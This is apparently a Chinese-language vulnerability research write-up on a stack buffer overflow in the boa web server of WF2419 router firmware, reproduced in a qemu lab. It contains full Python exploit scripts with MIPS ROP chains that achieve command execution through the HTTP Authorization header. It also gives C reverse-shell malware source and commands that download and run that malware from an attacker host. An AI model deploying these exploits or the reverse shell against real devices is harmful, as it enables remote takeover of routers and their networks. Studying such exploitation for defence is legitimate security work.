环境搭建 固件获取 WF2419 Fetching Title#sw0w 选择WF2419(2.2.36123)
先逆向分析boa
漏洞点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 loc_4145D8: # s addiu $a0, $sp, 0x60 +var_40 li $a1, 0x420000 nop addiu $a1, (aSS_0 - 0x420000 ) # "%s:%s" move $a2, $s0 move $a3, $s4 la $t9, sprintf nop jalr $t9 ; sprintf nop lw $gp, 0x60 +var_48($sp) nop li $s3, 0x460000 nop addiu $s3, (byte_4596D0 - 0x460000 ) lbu $v0, 0x60 +var_40($sp) nop addiu $s2, $v0, -0x3A
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 int __fastcall user_ok (const char *a1, const char *a2) { int v4; int result; int v6; int v7; const char *v8; bool v9; char v10[64 ]; memset (v10, 0 , sizeof (v10)); v4 = 0 ; if ( get_password(64 ) >= 0 ) { sprintf (v10, "%s:%s" , a1, a2); v6 = (unsigned __int8)v10[0 ] - 58 ; while ( 1 ) { v7 = v4 << 6 ; if ( byte_4596D0[64 * v4] == 58 && !v6 ) break ; v8 = &byte_4596D0[v7]; if ( strlen (&byte_4596D0[v7]) >= 2 ) { v9 = strcmp (v10, v8) == 0 ; result = 1 ; if ( v9 ) return result; } if ( ++v4 > 0 ) { fprintf (stderr , "check password error,log_passwd=%s;passwd=%s\n" , a2, byte_4596D0); return 0 ; } } return 1 ; } else { fprintf (stderr , "%s:%s:%d;get password error!\n" , "htauth.c" , "user_ok" , 74 ); return 1 ; } }
启动boa的时候可以检查下配置文件
1 2 3 4 5 6 7 8 9 ➜ sqrootfs file bin/busybox bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped ➜ sqrootfs cp $(which qemu-mips) . ➜ sqrootfs grep -r "boa -" . ./bin/webs: /bin/boa -p /web -f /etc/boa.conf & grep: ./var/run/webs.pid: Permission denied ➜ sqrootfs sudo chroot . ./qemu-mips /bin/boa -p /web -f /etc/boa.conf [sudo] password for squ: Starting Protocol Module: HTTP Server ... OK
如果出现不能缺失/dev/null
的问题 可以sudo mknod -m 666 dev/null c 1 3
如果出现can't create PID file
可以md var/run
然后可以打个PoC试试看
1 wget --http-user=a --http-password=$(python -c 'print "a"*0x80') http://127.0.0.1
可以看到报错信息如下
1 2 3 4 translate_uri:222;Wget/1.19.4 (linux-gnu) translate_uri:254 translate_uri:256 htauth.c:user_auth:181;get password error!
✨TODO
逆向一下可以发现要打开一个passwd
1 v2 = fopen("/tmp/passwd" , "r+" );
cp本地的过去
在wget一下 可以看到崩溃
1 2 3 4 check password error,log_passwd=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;passwd=root:x:0:0:root:/root:/bin/bash caught SIGSEGV, dumping core in /var/boa qemu: uncaught target signal 6 (Aborted) - core dumped [1] 49014 abort sudo chroot . ./qemu-mips /bin/boa -p /web -f /etc/boa.conf
漏洞分析 ra
在 sp + 0x14
buf
在 sp - 0x40
也就是0x54
的 offs 同时我们也需要控制五个寄存器s0 ~ s5
这五个调用者保存寄存器 这些寄存器主要是为了劫持返回地址 因为会有sx传递给ax 然后jalr ax的gadget
1 2 3 4 5 6 7 8 .text:004146 DC lw $ra, 0x60 +var_s14($sp) .text:004146E0 lw $s4, 0x60 +var_s10($sp) .text:004146E4 lw $s3, 0x60 +var_sC($sp) .text:004146E8 lw $s2, 0x60 +var_s8($sp) .text:004146 EC lw $s1, 0x60 +var_s4($sp) .text:004146F 0 lw $s0, 0x60 +var_s0($sp) .text:004146F 4 jr $ra .text:004146F 8 addiu $sp, 0x78
sprintf的逆向语句如下
1 sprintf(dest, "%s:%s", username, password);
boa
has two loaded libraries, libC
and libgcc
.
审视一波libc.so.0
1 2 3 4 5 6 7 8 9 10 11 12 Python> mipsrop.stackfinder() ---------------------------------------------------------------------------------------------------------------- | Address | Action | Control Jump | ---------------------------------------------------------------------------------------------------------------- | 0x000068AC | addiu $a0,$sp,0x20+var_8 | jalr $v0 | | 0x0000711C | addiu $a0,$sp,0x1A0+var_188 | jalr $v0 | | 0x000074BC | addiu $a0,$sp,0x1A0+var_188 | jalr $v0 | | 0x00020660 | addiu $a0,$sp,0x30+var_18 | jalr $a0 | | 0x000071E4 | addiu $a1,$sp,0x20+var_8 | jr 0x20+var_s0($sp) | | 0x00008AD4 | addiu $a1,$sp,0x20+var_8 | jr 0x20+var_s0($sp) | | 0x0000A3CC | addiu $a2,$sp,0x40+var_28 | jr 0x40+var_sC($sp) | | 0x000125E0 | addiu $a2,$sp,0x18+arg_8 | jr 0x18+var_s0($sp) |
没有可用的gadget 再到libgcc中找 第二列有a0 第三列有s0 ~ s4就行 找到这个 也就是要确保
binsh地址在 sp + 0x18 (但这个是在执行了addiu $sp, 0x78
之后的)
而system在 s3 (sp + 0xc)
ra 在 sp +0x141 2 3 4 5 6 .text:0000ABD0 addiu $a0, $sp, 0x20+var_8 .text:0000ABD4 move $a1, $s2 .text:0000ABD8 move $s0, $zero .text:0000ABDC move $t9, $s3 .text:0000ABE0 jalr $t9 .text:0000ABE4 movz $s0, $v0, $v1
在qemu内模拟
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x419000 r-xp 19000 0 /bin/boa 0x459000 0x45a000 rw-p 1000 19000 /bin/boa 0x45a000 0x466000 rwxp c000 0 [heap] 0x77ee2000 0x77eee000 r-xp c000 0 /lib/libgcc_s_4181.so.1 0x77eee000 0x77f2d000 ---p 3f000 0 [anon_77eee] 0x77f2d000 0x77f2e000 rw-p 1000 b000 /lib/libgcc_s_4181.so.1 0x77f2e000 0x77f6c000 r-xp 3e000 0 /lib/libc.so.0 0x77f6c000 0x77fac000 ---p 40000 0 [anon_77f6c] 0x77fac000 0x77fad000 rw-p 1000 3e000 /lib/libc.so.0 0x77fad000 0x77fb1000 rw-p 4000 0 [anon_77fad] 0x77fb1000 0x77fb7000 r-xp 6000 0 /lib/ld-uClibc.so.0 0x77ff5000 0x77ff6000 rw-p 1000 0 [anon_77ff5] 0x77ff6000 0x77ff7000 r--p 1000 5000 /lib/ld-uClibc.so.0 0x77ff7000 0x77ff8000 rw-p 1000 6000 /lib/ld-uClibc.so.0 0x7f9ee000 0x7fff7000 rwxp 609000 0 [stack] 0x7fff7000 0x7fff8000 r-xp 1000 0 [vdso]
gdb 定位到地址 可以看到由于boa的限制 ✨TODO 我们只溢出了17个cmd的字节命令 而cmd需要放在0x40800368
的位置 也就是 esp + 0x18 0x40800350 + 0x18
从这一段可以看出
1 2 3 4 5 6 7 ► 0x4146dc <user_ok+460> lw $ra, 0x74($sp) <0x4146cc> 0x4146e0 <user_ok+464> lw $s4, 0x70($sp) 0x4146e4 <user_ok+468> lw $s3, 0x6c($sp) 0x4146e8 <user_ok+472> lw $s2, 0x68($sp) 0x4146ec <user_ok+476> lw $s1, 0x64($sp) 0x4146f0 <user_ok+480> lw $s0, 0x60($sp) 0x4146f4 <user_ok+484> jr $ra
ra 在 sp + 0x74的位置 而jr之前会做一次.text:004146F8 addiu $sp, 0x78
而gadget里的cmd地址是addiu $a0, $sp, 0x20+var_8
也就是放在ra上 0x78 - 0x74 + 0x18
= 0x1c
的位置
exp如下 s3的位置是sp + 0x6c
溢出点离s0是 0x40
所以溢出点离s3 是0x4c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import socketfrom pwn import *import structimport base64libc = 0x77f2e000 libgcc = 0x77ee2000 gadget = 0x0000ABD0 + libgcc system = 0x0002AC90 + libc MAXSZ = 1024 cmd = b"mkdir hack" context(arch = "mips" , endian = "big" , os = "Linux" , log_level = "DEBUG" ) def exp (): print (f"[+] gadget is {hex (gadget)} " ) print (f"[+] system is {hex (system)} " ) payload = b'a:%s' %(b'A' * (0x4C - 2 )) payload += p32(system) payload += b'AAAA' payload += p32(gadget) payload += b"BBBB" payload += b"BBBB" payload += b"BBBB" payload += b"BBBB" payload += b"BBBB" payload += b"BBBB" payload += cmd header = b'GET / HTTP/1.1\r\n' header += b'Host: 10.10.10.1:80\r\n' header += b'Authorization: Basic %s\r\n' % base64.b64encode(payload) header += b'User-Agent: Real UserAgent\r\n\r\n' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) iport = ("10.10.10.1" ,80 ) s.connect(iport) s.send(header) msg = s.recv(MAXSZ) print ("[+] Message is %s" %(msg)) s.close() if __name__ == '__main__' : exp()
gdb调试脚本
1 2 3 4 5 set arch mips set endian big set solib-search-path sqrootfs/lib/ b *0x4146f4 target remote 10.10.10.1:8888
程序是chroot到/web页面下了 所以mkdir是在web下
17个字节的溢出是很难造成反向shell的 也就只能造成一次17字节的任意命令执行 重新考虑rop
更好的ROP 目标 让最后的a0尽可能的接近sp的位置 已知在vuln函数最后jalr ra之后 sp是在ra上4字节
gadget2 从ra开始到cmd结束 有40个字节的空区 要充分利用这40字节 就需要降低esp 在libc中找到此gadgetsp - 0x38 + 0x30 - 0x18 = sp - 0x20
的值给a0
寄存器 然后跳到 先前的a0
里面去 但是有个问题 sp-0x20
是在 saved 寄存器存放的地方 肯定是很难布置过长的cmd 而且a0
不可控 我们需要让a0
可控
1 2 3 4 5 6 7 8 .text:00020650 addiu $sp, -0x38 .text:00020654 sw $ra, 0x30+var_s0($sp) .text:00020658 sw $gp, 0x30+var_20($sp) .text:0002065C li $v0, 2 .text:00020660 move $t9, $a0 .text:00020664 sw $v0, 0x30+var_18($sp) .text:00020668 jalr $t9 .text:0002066C addiu $a0, $sp, 0x30+var_18
gadget1 而这个gadget依靠a0
进行跳转 我们需要控制a0
libgcc中 我们可以控制a0
也可以控制跳转地址
1 2 3 .text:00008B20 move $t9, $s4 .text:00008B24 jalr $t9 ; sub_8770 .text:00008B28 move $a0, $s0
gadget3 同时 栈下去了 影响到我们的s寄存器列了 需要抬上来 之前sp
减去了 0x38
那么这里 + 上0x1c
的地方可以布置下一个rop 并把sp加上来
1 2 3 4 .init:000017A4 lw $ra, 0x1C+var_s0($sp) .init:000017A8 nop .init:000017AC jr $ra .init:000017B0 addiu $sp, 0x20
gadget4 最后 通过sp 加上0x18
的位置将sp回复到之前的sp一样的地址 并jalr到s3
1 2 3 4 5 6 .text:0000ABD0 addiu $a0, $sp, 0x20+var_8 .text:0000ABD4 move $a1, $s2 .text:0000ABD8 move $s0, $zero .text:0000ABDC move $t9, $s3 .text:0000ABE0 jalr $t9 .text:0000ABE4 movz $s0, $v0, $v1
流程图
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import socketfrom pwn import *import base64context(arch = "mips" , endian = "big" , os = "Linux" , log_level = "DEBUG" ) libc = 0x77f2e000 libgcc = 0x77ee2000 system = 0x0002AC90 + libc gadgets = [0 ,0x00008B20 ,0x00020650 ,0x000017A4 ,0x0000ABD0 ] MAXSZ = 1024 cmd = b"echo 'hacked' > CrimeStatement" def exp (): rop = list (map (lambda x: x + libgcc,gadgets)) rop[2 ] = rop[2 ] - libgcc + libc for i in range (1 ,5 ): print (f"[+] rop[{i} ] is {hex (rop[i])} " ) print (f"[+] system is {hex (system)} " ) payload = b'a:%s' %(b'A' * (0x3C - 2 )) payload += p32(rop[4 ]) payload += p32(rop[3 ]) payload += b'AAAA' payload += b'CCCC' payload += p32(system) payload += p32(rop[2 ]) payload += p32(rop[1 ]) payload += cmd header = b'GET / HTTP/1.1\r\n' header += b'Host: 10.10.10.1:80\r\n' header += b'Authorization: Basic %s\r\n' % base64.b64encode(payload) header += b'User-Agent: Real UserAgent\r\n\r\n' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) iport = ("10.10.10.1" ,80 ) s.connect(iport) s.send(header) msg = s.recv(MAXSZ) print ("[+] Message is %s" %(msg)) s.close() if __name__ == '__main__' : exp()
做点坏事 既然都拿下了这么长的cmd 那么不做点坏事也说不过去 busybox中没有nc
也没有bash -i
之类的东西给我们做反向shell
但是有wget
下载恶意程序并运行
编写恶意程序malware
(✨TODO 修改参数)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <netinet/in.h> #include <stdlib.h> #include <sys/socket.h> #include <unistd.h> int main (int argc, char **argv) { int port = atoi(argv[2 ]); char * ip = argv[1 ]; int sd = socket(AF_INET, SOCK_STREAM, 0 ); struct sockaddr_in sin = { .sin_family = AF_INET, .sin_port = htons(port), .sin_addr.s_addr = inet_addr(ip), }; connect(sd, (struct sockaddr *)&sin , sizeof (sin )); for (int _ = 0 ; _ <= 2 ; _++) dup2(sd, _); execl("/bin/sh" , "/bin/sh" , NULL ); return 0 ; }
1 mips-linux-gnu-gcc -static -mabi=32 -o malware malware.c
我们需要利用两次漏洞 一次让malware可执行 一次让其跑起来(因为长度不够 没法一次性解决)
1 2 3 wget http://10.10.10.2:8000/malware chmod +x malware ./malware 10.10.10.2 9999
攻击机开启监听 效果如下 成功getshell
未完 1 2 3 4 5 6 7 8 9 ➜ squrootfs grep -r "Authorization: Basic " . Binary file ./bin/updatedd matches Binary file ./bin/busybox matches grep: ./var/run/webs.pid: Permission denied ➜ squrootfs grep -r "User-Agent: Real UserAgent" . grep: ./var/run/webs.pid: Permission denied ➜ squrootfs grep -r "User-Agent: " . Binary file ./bin/updatedd matches Binary file ./bin/busybox matches